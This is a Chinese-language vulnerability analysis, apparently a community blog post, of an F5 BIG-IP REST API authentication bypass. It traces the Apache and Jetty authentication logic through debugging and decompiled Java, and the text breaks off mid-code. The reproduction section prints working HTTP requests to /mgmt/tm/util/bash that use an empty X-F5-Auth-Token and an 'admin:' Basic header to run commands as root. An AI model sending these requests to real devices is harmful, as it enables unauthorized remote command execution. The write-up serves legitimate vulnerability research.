声明
出品|先知社区(ID: 1s1and)
以下内容,来自先知社区的1s1and作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
概述
官方信息:
https://support.f5.com/csp/article/K03009991
影响范围:
作为java菜鸟,借此框架加深对java的理解以及各种分析手段的学习,推荐同样作为java新手的人可以看一看大佬可以直接跳过
环境搭建
在F5下载网站注册后可成功下载虚拟机版的镜像文件,我这里下载了16.0.0版本的虚拟机ovf,使用vmware可以直接导入
注意在注册账户的时候在国家选择的时候不要瞎选,我开始选了一个不知名的国家,在下载时候报错说软件禁运,不让下载,折腾了半天重新注册了一个账号才搞定。
官网提供F5 rest api说明文档,正常的访问web界面的诸多功能的话还需要一个有效的license key,但是这里为了调试漏洞不是很必须,所以省了这个步骤。
vmware导入ovf文件后会要求输入口令密码,默认是root/default,输入后会要求更改默认口令
进入后输入config可以更改虚拟机ip,我将虚拟机的ip更改为了172.16.113.247
打开web界面https://172.16.113.247即可使用admin/刚刚设置的密码登陆
漏洞复现
默认发送,会报401, Server为Apache
给一个错误的Authorization认证头(为admin:的base64值),依然会报401, Server为Apache
去掉Authorization认证头,加一个X-F5-Auth-Token认证头,依然报401,但是此时Server为Jetty
然而,当两个头都存在的时候,认证会绕过并执行命令:
通过这几个包的测试我们可以得出结论,当存在X-F5-Auth-Token头时,apache不检查basic认证头,jetty在检查时,只检查Authorization的用户名不检查密码,但是为什么会这样呢,尝试分析
分析
apache认证绕过漏洞分析
简单分析可以知道443是httpd开启的,其使用了apache 2.4.6框架
[root@localhost:NO LICENSE:Standalone] ~ # netstat -antp | grep :443
tcp6 0 0 :::443 :::* LISTEN
4795/httpd
[root@localhost:NO LICENSE:Standalone] ~ # httpd -v
Server version: BIG-IP 67.el7.centos.5.0.0.12 (customized Apache/2.4.6) (CentOS)
Server built: Jun 23 2020 16:37:41
进入httpd配置目录/etc/httpd/
[root@localhost:NO LICENSE:Standalone] httpd # cd /etc/httpd/[root@localhost:NO LICENSE:Standalone] httpd # grep -r "/mgmt" ./*Binary file ./modules/mod_f5_auth_cookie.so matches
Binary file ./modules/mod_auth_pam.so matches
./run/config/httpd.conf:
./run/config/httpd.conf:RewriteRule ^/mgmt$ /mgmt/ [PT]./run/config/httpd.conf:RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]./run/config/httpd.conf:ProxyPass /mgmt/rpm !
./run/config/httpd.conf:ProxyPass /mgmt/job !
./run/config/httpd.conf:ProxyPass /mgmt/endpoint !
./run/config/httpd.conf:ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0./run/config/httpd.conf:ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/
./run/udev/data/n6:E:SYSTEMD_ALIAS=/sys/subsystem/net/devices/mgmt
打开https.conf,找到以下相关部分:
# Access is restricted to traffic from 127.0.0.1
Require ip 127.0.0.1
Require ip 127.4.2.2 # This is an exact copy of the authentication settings of the document root.
# If a connection is attempted from anywhere but 127.*.*.*, then it will have
# to be authenticated.
# we control basic auth via this file...
IncludeOptional /etc/httpd/conf/basic_auth*.conf
AuthName "Enterprise Manager"
AuthPAM_Enabled on
AuthPAM_ExpiredPasswordsSupport on
require valid-user
RewriteEngine on
RewriteRule ^/mgmt$ /mgmt/ [PT]RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]# Don't proxy REST rpm endpoint requests.ProxyPass /mgmt/rpm !
ProxyPass /mgmt/job !
ProxyPass /mgmt/endpoint !# Proxy REST service bus requests.# We always retry so if we restart the REST service bus, Apache# will quickly re-discover it. (The default is 60 seconds.)# If you have retry timeout > 0, Apache timers may go awry# when clock is reset. It may never re-enable the proxy.ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0
可以了解到请求/mgmt/相关url开启了AuthPAM_Enabled,启用auth会调用
/usr/lib/httpd/modules/mod_auth_pam.so判断鉴权,尝试逆向
/usr/lib/httpd/modules/mod_auth_pam.so文件。IDA中,将汇编统一解析为intel风格,mov dst source
参考Apache Hook机制解析(上)——钩子机制的实现apache的mod都是通过钩子实现的,逆向mod_auth_pam.so发现
int pam_register_hooks()
{
ap_hook_check_authz(sub_5AF0, 0, 0, 20, 1);
return ap_hook_check_access_ex(sub_5AF0, 0, 0, 20, 1);
}
认证检查的具体代码都在sub_5AF0当中,这个函数很大,而且由于不知名原因不能反编译拿到伪代码,但是可以找到"X-F5-Auth-Token"的调用:
由于代码量较大,看起来比较累,计划结合动态调试搞清楚逻辑,
由于apache默认的话会开启子进程来处理,调试进程这个有点麻烦,为了方便调试搞清楚apache认证绕过过程,以单线程的方式重启httpd
/usr/sbin/httpd -DTrafficShield -DAVRUI -DWebAccelerator -DSAM -X
通过查看指定进程号下的maps文件,即可知道mod_auth_pam.so的加载基地址
[root@localhost:NO LICENSE:Standalone] config # cat /proc/$(ps -ef |grep "/usr/sbin/httpd -D" | grep -v "grep" | awk '{print $2}')/maps | grep mod_auth_pam.so | grep r-xp
563aa000-563b7000 r-xp 00000000 fd:06 168436 /usr/lib/httpd/modules/mod_auth_pam.so
在mod_auth_pam.so的loc_72D0地址处下断点,即hex(0x563aa000+0x72d0)=0x563b12d0
(gdb) b *0x563b12d0
Breakpoint 1 at 0x563b12d0
然后发送数据包(注意,这个数据包里面是没有X-F5-Auth-Token头的):
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
Authorization: Basic YWRtaW46
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
继续调试程序,当运行至0x563b12ee(即test eax, eax)时
0x563b12ee in ?? () from /etc/httpd/modules/mod_auth_pam.so
(gdb) i r $eax
eax 0x0 0
可以看出,从头里面取出X-F5-Auth-Token返回值为0,会继续运行,获取其它参数的值
进而会使用从头Authorization中取到的值拿去loc_5f28做验证:
自然,这里是通过不了认证的,会由apache返回登陆失败
然而,如果重新发一个存在X-F5-Auth-Token头的数据包:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
X-F5-Auth-Token:
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
认证校验这里则会奇怪的绕过对其它头信息的获取及校验,直接扔给http://localhost:8100/mgmt/去做下一步操作
前面已经分析清楚了,如果存在X-F5-Auth-Token则会绕过apache的认证机制,绕过之后,相关信息会被转发给local:8100来做下一步的处理,
查看一下8100是哪个程序在处理:
[root@localhost:NO LICENSE:Standalone] conf # netstat -antp | grep :8100tcp 1 0 127.0.0.1:55220 127.0.0.1:8100 CLOSE_WAIT 28239/httpd
tcp 1 0 127.0.0.1:49718 127.0.0.1:8100 CLOSE_WAIT 5406/icr_eventd
tcp 1 0 127.0.0.1:51758 127.0.0.1:8100 CLOSE_WAIT 28255/httpd
tcp 1 0 127.0.0.1:59548 127.0.0.1:8100 CLOSE_WAIT 28270/httpd
tcp 1 0 127.0.0.1:43864 127.0.0.1:8100 CLOSE_WAIT 28209/httpd
tcp 1 0 127.0.0.1:47692 127.0.0.1:8100 CLOSE_WAIT 24091/httpd
tcp6 0 0 127.0.0.1:8100 :::* LISTEN 21186/java
tcp6 0 0 127.0.0.1:8100 127.0.0.1:49718 FIN_WAIT2 21186/java[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline
/usr/lib/jvm/jre/bin/java
-D java.util.logging.manager=com.f5.rest.common.RestLogManager
-D java.util.logging.config.file=/etc/restjavad.log.conf
-D log4j.defaultInitOverride=true-D org.quartz.properties=/etc/quartz.properties -Xss384k
-XX:+PrintFlagsFinal
-D sun.jnu.encoding=UTF-8
-D file.encoding=UTF-8
-XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log
-XX:+UseGCLogFileRotation
-XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M
-XX:+PrintGCDateStamps
-XX:+PrintGCTimeStamps
-XX:MaxPermSize=72m -Xms96m -Xmx192m
-XX:-UseLargePages
-XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost
--port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest
--configIndexDirectory=/var/config/rest/index
--storageDirectory=/var/config/rest/storage
--storageConfFile=/etc/rest.storage.BIG-IP.conf
--restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties
--machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271
我看到基本都是/usr/share/java/rest/这个目录下的jar包,所以偷个懒把/usr/share/java/rest/目录下的所有jar包反编译
由漏洞复现中的数据包我们可以大概猜测,X-F5-Auth-Token绕过了apache认证,那Authorization: Basic YWRtaW46应该绕过了java这里的认证
由于在Authorization这里我们只是放了admin:的base64的值,所以猜测java这里并没有去真正的校验密码,只是检查了一下用户名,所以在看java时候,我们也可以有挑选的去找我们的切入点,从Authorization开始下手
动态调试:通过以下方式可以得知进程运行目录为 /var/service/restjavad
[root@localhost:NO LICENSE:Standalone] config # ls -al /proc/21186/total 0dr-xr-xr-x. 9 root root 0 May 16 08:17 .
dr-xr-xr-x. 300 root root 0 May 16 07:23 ..
dr-xr-xr-x. 2 root root 0 May 16 16:51 attr
-rw-r--r--. 1 root root 0 May 16 16:51 autogroup
-r--------. 1 root root 0 May 16 16:51 auxv
-r--r--r--. 1 root root 0 May 16 16:51 cgroup
--w-------. 1 root root 0 May 16 16:51 clear_refs
-r--r--r--. 1 root root 0 May 16 09:05 cmdline
-rw-r--r--. 1 root root 0 May 16 16:51 comm
-rw-r--r--. 1 root root 0 May 16 16:51 coredump_filter
-r--r--r--. 1 root root 0 May 16 16:51 cpuset
lrwxrwxrwx. 1 root root 0 May 16 16:51 cwd -> /var/service/restjavad
-r--------. 1 root root 0 May 16 16:51 environ
lrwxrwxrwx. 1 root root 0 May 16 16:51 exe -> /usr/java/java-1.7.0-openjdk/jre-abrt/bin/java
dr-x------. 2 root root 0 May 16 16:51 fd
dr-x------. 2 root root 0 May 16 16:51 fdinfo
-rw-r--r--. 1 root root 0 May 16 16:51 gid_map
-r--------. 1 root root 0 May 16 16:51 io
-r--r--r--. 1 root root 0 May 16 16:51 limits
-rw-r--r--. 1 root root 0 May 16 16:51 loginuid
dr-x------. 2 root root 0 May 16 16:51 map_files
-r--r--r--. 1 root root 0 May 16 16:51 maps
-rw-------. 1 root root 0 May 16 16:51 mem
-r--r--r--. 1 root root 0 May 16 16:51 mountinfo
-r--r--r--. 1 root root 0 May 16 16:51 mounts
-r--------. 1 root root 0 May 16 16:51 mountstats
dr-xr-xr-x. 6 root root 0 May 16 16:51 net
dr-x--x--x. 2 root root 0 May 16 16:51 ns
-r--r--r--. 1 root root 0 May 16 16:51 numa_maps
-rw-r--r--. 1 root root 0 May 16 16:51 oom_adj
-r--r--r--. 1 root root 0 May 16 16:51 oom_score
-rw-r--r--. 1 root root 0 May 16 16:51 oom_score_adj
-r--r--r--. 1 root root 0 May 16 16:51 pagemap
-r--r--r--. 1 root root 0 May 16 16:51 personality
-rw-r--r--. 1 root root 0 May 16 16:51 projid_map
lrwxrwxrwx. 1 root root 0 May 16 16:51 root -> /
-rw-r--r--. 1 root root 0 May 16 16:51 sched
-r--r--r--. 1 root root 0 May 16 16:51 schedstat
-r--r--r--. 1 root root 0 May 16 16:51 sessionid
-rw-r--r--. 1 root root 0 May 16 16:51 setgroups
-r--r--r--. 1 root root 0 May 16 16:51 smaps
-r--r--r--. 1 root root 0 May 16 16:51 stack
-r--r--r--. 1 root root 0 May 16 09:04 stat
-r--r--r--. 1 root root 0 May 16 09:04 statm
-r--r--r--. 1 root root 0 May 16 09:03 status
-r--r--r--. 1 root root 0 May 16 16:51 syscall
dr-xr-xr-x. 43 root root 0 May 16 16:51 task
-r--r--r--. 1 root root 0 May 16 16:51 timers
-rw-r--r--. 1 root root 0 May 16 16:51 uid_map
-r--r--r--. 1 root root 0 May 16 16:51 wchan
[root@localhost:NO LICENSE:Standalone] restjavad # ls -al /var/service/restjavadtotal 20drwxr-xr-x. 5 root root 4096 May 16 07:24 .
drwxr-xr-x. 107 root root 4096 Jun 23 2020 ..
drwxr-xr-x. 2 root root 4096 Jun 23 2020 deps
drwxr-xr-x. 2 root root 4096 Jun 23 2020 requires
lrwxrwxrwx. 1 root root 31 Jun 23 2020 run -> /etc/bigstart/scripts/restjavad
drwx------. 2 root root 4096 May 16 07:27 supervise
修改run文件,即/etc/bigstart/scripts/restjavad
增加一行
JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"
同时,利用 tmsh
将jdwp监听端口8777开放出去
[root@localhost:NO LICENSE:Standalone] / # tmsh
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }
然后直接杀掉这个进程,会自动重启并开放8777调试端口,根据
[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline
/usr/lib/jvm/jre/bin/java
-D java.util.logging.manager=com.f5.rest.common.RestLogManager
-D java.util.logging.config.file=/etc/restjavad.log.conf
-D log4j.defaultInitOverride=true-D org.quartz.properties=/etc/quartz.properties -Xss384k
-XX:+PrintFlagsFinal
-D sun.jnu.encoding=UTF-8
-D file.encoding=UTF-8
-XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log
-XX:+UseGCLogFileRotation
-XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M
-XX:+PrintGCDateStamps
-XX:+PrintGCTimeStamps
-XX:MaxPermSize=72m -Xms96m -Xmx192m
-XX:-UseLargePages
-XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost
--port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest
--configIndexDirectory=/var/config/rest/index
--storageDirectory=/var/config/rest/storage
--storageConfFile=/etc/rest.storage.BIG-IP.conf
--restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties
--machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271
可知,主类为com.f5.rest.workers.RestWorkerHost
在idea按两下shift搜索RestWorkerHost即可搜到文件RestWorkerHost.class
经过大佬指点,我把/usr/share/java/rest目录下面的jar包全部反编译,然后用VS Code打开审计
先看一下RestWorkerHost.java,从其中main函数开始向下审计
public static void main(String[] args) throws Exception {
Thread.setDefaultUncaughtExceptionHandler(DieOnUncaughtErrorHandler.getHandler());
CommandArgumentParser.parse(RestWorkerHost.class, args);
try {
host = new RestWorkerHost();
host.start();
} catch (Exception var5) {
LOGGER.severe(RestHelper.throwableStackToString(var5));
} finally {
Thread.sleep(1000L);
System.exit(1);
}
}
实例化了一个RestWorkerHost对象,然后调用start函数
void start() throws Exception {
...
this.server = new RestServer(port);
...
this.server.start();
...
}
在start函数中,实例化了一个RestServer对象server,然后调用start函数,在这里一定不要急着去看RestServer类的start函数,先看看RestServer这个类的构造函数
public RestServer(int port) {
this(port, new JettyHost());
}
public RestServer(int port, JettyHost jettyHost) {
this.pathToWorkerMap = new ConcurrentSkipListMap();
this.workerToCollectionPathsMap = new ConcurrentSkipListMap();
this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);
this.supportWorkersStarted = false;
this.allowStackTracesInPublicResponse = false;
this.storageUri = null;
this.configIndexUri = null;
this.groupResolverUri = null;
this.deviceResolverUri = null;
this.forwarderUri = null;
this.machineId = null;
this.discoveryAddress = null;
this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);
this.readyWorkerSet = new ConcurrentSkipListSet();
this.indexRebuildCoordinator = new RunnableCoordinator(1);
this.forwardRequestValidator = null;
if (port < 0) {
throw new IllegalArgumentException("port");
} else {
this.listenPort = port;
this.jettyHost = jettyHost;
this.processRequestsTask = new Runnable() {
public void run() {
RestServer.this.processQueuedRequests();
}
};
}
}
可以看出,这里又会实例化一个JettyHost对象,然后我们再去看RestServer类的start函数
public int start() throws Exception { ...... this.listenPort = this.jettyHost.start(this.listenPort, RestWorkerHost.isPublic, this.extraConfig); ...... }
可以看出又会去调用jettyHost这个对象的start函数,JettyHost这个类没有构造函数,我们直接去看JettyHost这个类的start函数
public int start(int port, boolean isPublic, com.f5.rest.app.JettyHost.ExtraConfig extraConfig) throws Exception {
......
ServletContextHandler contextHandler = new ServletContextHandler();
contextHandler.setContextPath("/");
ServletHolder asyncHolder = contextHandler.addServlet(RestServerServlet.class, "/*");
asyncHolder.setAsyncSupported(true);
handlers.addHandler(contextHandler);
......
}
可以看出,针对性的处理的代码位于RestServerServlet中,找到了对应处理的servlet,其实就很简单了,剩下的工作就去研究servlet里面的内容就好了,主要逻辑都在其中,由于其继承了HttpServlet,所以我们直接看重载的service函数
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
final AsyncContext context = req.startAsync();
context.start(new Runnable() {
public void run() {
RestOperation op = null;
try {
op = RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)context.getRequest());
......
}
} catch (Exception var4) {
......
}
op.setCompletion(new RestRequestCompletion() {
public void completed(RestOperation operation) {
RestServerServlet.sendRestOperation(context, operation);
}
public void failed(Exception ex, RestOperation operation) {
RestServerServlet.failRequest(context, operation, ex, operation.getStatusCode());
}
});
try {
ServletInputStream inputStream = context.getRequest().getInputStream();
inputStream.setReadListener(RestServerServlet.this.new ReadListenerImpl(context, inputStream, op));
} catch (IOException var3) {
RestServerServlet.failRequest(context, op, var3, 500);
}
}
});
}
其中,createRestOperationFromServletRequest针对 http包头做了一些处理,但是我们关注的是根据request的处理动作,所以我们需要聚焦于setReadListener,去看看ReadListenerImpl的处理,根据ReadListener接口文档,我们直接看ReadListenerImpl这个类实现的onAllDataRead函数
public void onAllDataRead() throws IOException {
if (this.outputStream != null) {
if (this.operation.getContentType() == null) {
this.operation.setIncomingContentType("application/json");
}
if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {
byte[] binaryBody = this.outputStream.toByteArray();
this.operation.setBinaryBody(binaryBody, this.operation.getContentType());
} else {
String body = this.outputStream.toString(StandardCharsets.UTF_8.name());
this.operation.setBody(body, this.operation.getContentType());
}
}
RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {
public void run() {
if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {
RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);
}
}
});
RestServer.trace(this.operation);
}
其中,第一个if判断是处理包的content-type头信息,不是很重要,看后边setIdentityFromAuthenticationData这个方法:
public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {
if (!setIdentityFromDeviceAuthToken(request, completion)) {
if (setIdentityFromF5AuthToken(request)) {
completion.run();
} else if (setIdentityFromBasicAuth(request)) {
completion.run();
} else {
completion.run();
}
}
}
看一下if里面的判断setIdentityFromDeviceAuthToken, 会检查包头里面有没有em_server_auth_token,没有则返回false,我们这里没有,所以直接返回false
然后会进入setIdentityFromF5AuthToken方法
private static boolean setIdentityFromF5AuthToken(RestOperation request) {
AuthTokenItemState token = request.getXF5AuthTokenState();
if (token == null) {
return false;
} else {
request.setIdentityData(token.userName, token.user, AuthzHelper.toArray(token.groupReferences));
return true;
}
}
由于我们并没有设置X-F5-Auth-Token的值,所以此处返回token是null,直接返回false
自然,后边就会进入setIdentityFromBasicAuth方法
private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
return true;
}
}
由于我们设置了Authorization的值,所以authHeader的值为YWRtaW46,进入setIdentityData
public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
String segment = UrlHelper.getLastPathSegment(userReference.link);
if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment})))) {
userName = segment;
}
}
if (userName != null && RestReference.isNullOrEmpty(userReference)) {
userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName})));
}
this.identityData = new RestOperation.IdentityData();
this.identityData.userName = userName;
this.identityData.userReference = userReference;
this.identityData.groupReferences = groupReferences;
return this;
}
这里会根据Authorization头的值解码获得的username生成一个新的userReference,到底怎么根据用户名生成的reference其实我们也不需要太过深究,动态调试知道是这么个结构就可以了:
这一步完了之后,再回顾setIdentityFromAuthenticationData
public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {
if (!setIdentityFromDeviceAuthToken(request, completion)) {
if (setIdentityFromF5AuthToken(request)) {
completion.run();
} else if (setIdentityFromBasicAuth(request)) {
completion.run();
} else {
completion.run();
}
}
}
调用completion.run(),这个函数在调用函数onAllDataRead中规定好了
public void onAllDataRead() throws IOException {
if (this.outputStream != null) {
if (this.operation.getContentType() == null) {
this.operation.setIncomingContentType("application/json");
}
if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {
byte[] binaryBody = this.outputStream.toByteArray();
this.operation.setBinaryBody(binaryBody, this.operation.getContentType());
} else {
String body = this.outputStream.toString(StandardCharsets.UTF_8.name());
this.operation.setBody(body, this.operation.getContentType());
}
}
RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {
public void run() {
if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {
RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);
}
}
});
RestServer.trace(this.operation);}跟着先去看一下trySendInProcess```java
public static boolean trySendInProcess(RestOperation request) {
try {
URI uri = request.getUri();
if (uri == null) {
throw new IllegalArgumentException("uri is null");
}
if (!RestHelper.isLocalHost(uri.getHost())) {
return false;
}
RestServer server = getInstance(uri.getPort());
if (server == null) {
return false;
}
RestWorker worker = null;
worker = findWorker(request, server);
if (worker == null) {
String sanatizePath = sanitizePath(uri.getPath());
String message = String.format("URI path %s not registered. Please verify URI is supported and wait for /available suffix to be responsive.", sanatizePath);
RestErrorResponse errorResponse = RestErrorResponse.create().setCode(404L).setMessage(message).setReferer(request.getReferer()).setRestOperationId(request.getId()).setErrorStack((List)null);
request.setIsRestErrorResponseRequired(false);
